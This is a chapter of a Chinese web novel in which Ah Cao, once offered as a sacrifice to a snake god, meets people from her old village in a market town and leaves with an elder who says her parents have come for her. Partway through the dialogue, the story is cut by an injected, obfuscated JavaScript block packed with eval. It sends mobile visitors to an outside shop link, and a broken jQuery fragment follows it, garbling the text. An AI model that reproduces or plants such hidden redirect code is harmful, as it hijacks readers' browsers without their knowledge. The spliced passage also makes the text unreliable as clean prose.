听见这熟悉的声音,阿草吃惊地左右张望。
一辆骡车驶过后,阿草看清了声音的主人——竟然,是采石村的人。
她叫阿月,和阿草同龄,采石村有献祭山神的传统,女孩本就不多,今年若没有阿草,被献祭的恐怕就是阿月了。
阿月手里挽着竹篮,躲过人流来到阿草面前,她不敢相信,细细地端详了她好一阵。
“阿草,你不是被献给了山神?阿爹说那条蛇是个怪物,巨大无比、凶猛又残暴,专吃活人少女!你被送给它,怎么可能还活着?”
“才不是呢!”阿草听不得他们这样抹黑修璃,立马反驳道,“修璃他从来不吃人,他是一条善良的蛇!”
“什么……修璃?”
阿月惊讶又困惑地瞪大双眼。
远处,阿月的爹娘正在呼唤她:“阿月,阿月!这个死丫头,稍不留神就到处乱跑……”
阿月慌张地转过头去。
趁她分神之际,阿草立马收拾皮货拎起背篓,灵活地躲进大榕树的背后。很快,阿月的爹娘和哥哥找了过来,阿月再回头看去,却发现阿草早已不见了踪影。
“诶,阿草?爹、娘,阿草刚刚明明在这儿啊!”
“呸呸呸!那姑娘早就入了蛇口了,怎么可能在这儿!你这死丫头,整天胡言乱语的!”
阿月娘训斥了几句,扭着女儿的胳膊离开了。
阿草看着他们的背影消失在人流中,抚着胸口长长地舒了口气。
她这才想起来,采石村因为采集绿玉髓,近年来日子也好了不少,每逢重要的年节,也会有村里人千里迢迢来镇上采买年货。之前阿草在采石村时,见村里人喜气洋洋地驾着骡车出去,过几天又带着琳琅满目的好东西回来,阿草孤身一人,很是羡慕。
原来他们便是来了这青芜镇。
阿草思索良久,决定不要在人多的时候抛头露面,等黄昏时多数人已经出城了,再抓紧时间卖几张皮货。
只不过,如此便要多耽搁几日了。
阿草便在青芜镇盘桓了几日,黄昏时卖货,夜里便回到山坡上,同麒麒簇拥在一起取暖。虽然她可以求红姐儿收留她几日,可阿草放不下麒麒,又怕麒麒的模样会吓坏那里的姐姐们。
总不能事事都仰仗别人,那自己何时才能真正的独立起来?
这是她第一次独自来青芜镇做买卖,虽然意外碰见了采石村的人,可好在有惊无险。她已经能大方地推销自己的东西,也能同形形色色的人讨价还价,将银子踏踏实实地赚进自己的荷包里,她相信离开修璃,自己也能好好地活下去。
如此便不会叫修璃担心了。
山坡上的枯草堆里,阿草紧紧拥着幼兽的身体,它的身体比小狗还要暖和:“麒麒,明天你记得在这里等我,等我买了肉肉,咱们一起回家,好吗?”
麒麒用哈气声作为回应:“呵、呵!”
通过这段时间的相处,阿草好像听得懂麒麒的话了,哈气代表满意,呼噜代表不满意(除了晒太阳挠痒痒的时候)。
她抿嘴笑笑,闭上眼睛喃喃呓语:“你要是能说人话就好了,就像修璃那样……”
腊月二十四,除尘扫房子,青芜镇的街上四处轻尘飞扬。
阿草早早进了镇子,先偷偷观察了一会儿,确定采石村的人已经回去了,这才放心大胆地出来采买。这次为了麒麒,阿草几乎买了一背篓的肉,背起来简直比皮货还要重。
她买得多,不仅还了个好价钱,还向摊主要了根剔得溜光的大棒骨。
不知道麒麒喜不喜欢啃骨头呢?
采买比她想象的还要顺利,正午刚过,阿草便走出了城门。
她手里拿着大棒骨,背篓里的肉山快将她的背压弯了,可这便是充实的感觉——兜里有肉,心中不慌。
可她试了几次,都爬不上那个陡峭的山坡。
“累死我啦……麒麒,麒麒你在吗?”阿草朝山坡上喊,“这里太陡了我上不去,你能不能往西走,那里有缓坡,我们在那里汇合好吗?”
草堆中隐约传来呵气声。知道麒麒已经听见了,阿草又艰难地重新背起背篓,沿着官道朝上走去。
尘土中,一辆骡车迎面驶来。
阿草并未在意,弯着要吭哧吭哧地向前走,可那辆骡车快要与她擦肩而过时,却突然停了下来。一双老迈的手掀起车帘,他欣喜地说道:“阿草……你是阿草吗?”
阿草震惊地停下脚步,扭头一看,简直不敢相信自己的耳朵:
“您是……长老爹爹?”
骡车上的老人抖索着走下车来。他浑身裹着厚重的毛皮,连头脸也深埋进去,可从那根弯曲的枯木手杖,阿草还是立马认出了他。
不过大半年的时间,他的声音,仿佛又老了一些。
“阿草,真的是你啊……太好了!”
他激动起来,弯曲的手杖、连同浑身杂乱的皮毛,一齐颤颤巍巍。阿草心中五味杂陈,当初若不是长老爹爹首肯,采石村也不会抚养她这个孤女,也同样是长老爹爹,无情地将她送上了祭品的轿辇。
她没想到会在这里碰见长老爹爹,阿草咬了咬唇,不顾老人的大喜过望,径直朝前走去。
“等等……”长老爹爹拄着拐杖跟上去,阿草背着肉山走不快,长老爹爹很轻松便追上了她,“阿草,你竟然还活着,真是太好了……我还是听阿月那孩子说,那条大蛇没有吃你,他放了你,对不对?”
阿草有些防备:“您不相信么?”
“怎么不相信?你能活着站在我面前,不就是最好的证明?”长老爹爹说着,满脸都是悔恨,“我们也是迫不得已,才将好好的姑娘送给他,你以为那些姑娘的爹娘、还有长老爹爹我不心疼么?”
“既然这样的话,将来就不要再牺牲无辜的少女了。”阿草松了口气,“如您所见,我现在很好,我有去处,也不会再回采石村了。”
阿草轻轻鞠了一躬,继续朝前走,长老爹爹却再次叫住了她:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17596697|205352||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“你一定要回去啊!阿草,你的爹娘找来了!”
阿草再也迈不动脚步了:“您说什么……我的爹娘?”
“是啊……”长老爹爹喟叹地拄着拐杖,“十五年前,你的爹娘外出省亲时,在山里迷了路,是意外才弄丢了你……他们找了你足足十五年呐!而你也没被山神吃了,这不是上天的垂怜,那还能是什么呢?”
阿草简直不敢相信,双肩无可控制地一松,背篓便落在了地上。
稻草掀开一角,露出里面红白相间的新鲜猪肉。
阿草愣在原地,喃喃地说着:“我有爹娘了?长老爹爹,我长得像爹,还是像娘?这十五年来他们过得如何,是不是来接我回家……”
长老爹爹轻叹一口气,说道:“你见过他们就知道了。阿草,你爹娘在村里待不了多长时间,你还是跟着我的骡车去,跟你爹娘相认吧,这就叫‘大难不死,必有后福’啊。”
“可是……”
阿草犹豫了。
且不说麒麒还在前面的山坡上等她,修璃已经冬眠,她若跟爹娘回家,就再也见不到修璃了……明明,她还想等到春暖花开时亲口向修璃告别,或者鼓起勇气,说出她埋藏已久的心事。
就这样不辞而别……
见阿草始终犹豫不决,长老爹爹有些心急:“阿草,你还在等什么呢?你难道不想见见自己的亲爹亲娘?”
“我知道了……”
终于,对亲人的渴望胜过了一切,阿草真的很想见一见他们。可她也下定了决心,等见了爹娘后,她不会立即跟着爹娘走,她还要回来带麒麒回府洞,守着修璃醒来,并亲口对他说声“谢谢”。
只要知道爹娘住在何处,她就永远有家可以回了,不需急于这一时。
“长老爹爹,您稍等我一下好吗?”
阿草背起背篓,走到了西边的缓坡,长老爹爹疑惑地看着她爬上山坡又钻进草丛,出来时身上的背篓已经不见了。
阿草将肉留给了麒麒,让它在这里等自己几天。
“不过三五天时间,我一定会回来的。”阿草如此承诺着。
麒麒歪着脑袋,嘴里发出呼噜噜的响声。
做完这一切,阿草重新走下山坡,回望了一眼被白雪覆盖的山脉。
她有些恍惚,这年春天时,她还以为自己活不成了,十五岁的生命这么快就走到了尽头。而如今她遇见了让她铭记一生的人,又能与自己的爹娘重逢,命运在步入低谷的那一刻,又给了她新的希望。
她相信这便是山神的庇佑,福泽山中万灵,也泽被她这只小小生灵。
“阿草,快上车吧,天已经晚了。”长老爹爹在催促。
阿草点点头,爬上了老旧的骡车,长老爹爹扬起鞭子,骡车缓缓朝着深山中的小路驶去。而山坡之上,神兽麒麒黄头晃脑地钻出草丛,遥望着骡车离去的方向。
它嘴里发出一串长长的呼噜声,突然掀起四蹄跳下山坡,踩着新辇出的车辙奔去。